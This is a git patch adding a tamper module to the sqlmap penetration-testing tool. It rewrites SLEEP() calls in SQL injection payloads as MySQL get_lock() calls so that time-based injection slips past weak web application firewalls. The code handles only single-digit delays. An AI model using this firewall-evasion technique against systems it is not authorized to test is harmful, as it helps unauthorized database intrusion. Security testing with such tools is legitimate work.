From e0ea1ab5e9de21f107dfe6e416d8e54dd92237c3 Mon Sep 17 00:00:00 2001 From: antichown Date: Thu, 17 Sep 2020 16:06:47 +0300 Subject: [PATCH] new tamper script (#4344) * new tamper script works with time-based queries * Update sleepgetlock.py Co-authored-by: Miroslav Stampar --- tamper/sleepgetlock.py | 46 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 tamper/sleepgetlock.py diff --git a/tamper/sleepgetlock.py b/tamper/sleepgetlock.py new file mode 100644 index 000000000..1aa63d334 --- /dev/null +++ b/tamper/sleepgetlock.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'SLEEP(x)' with "get_lock('sqlmap',x)" + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the SLEEP() and BENCHMARK() functions + + * Reference: https://zhuanlan.zhihu.com/p/35245598 + + >>> tamper('SLEEP(2)') + "get_lock('sqlmap',2)" + """ + + if payload and payload.find("SLEEP") > -1: + while payload.find("SLEEP(") > -1: + index = payload.find("SLEEP(") + depth = 1 + + num = payload[index+6] + + newVal = "get_lock('sqlmap',%s)" % (num) + payload = payload[:index] + newVal + payload[index+8:] + + + return payload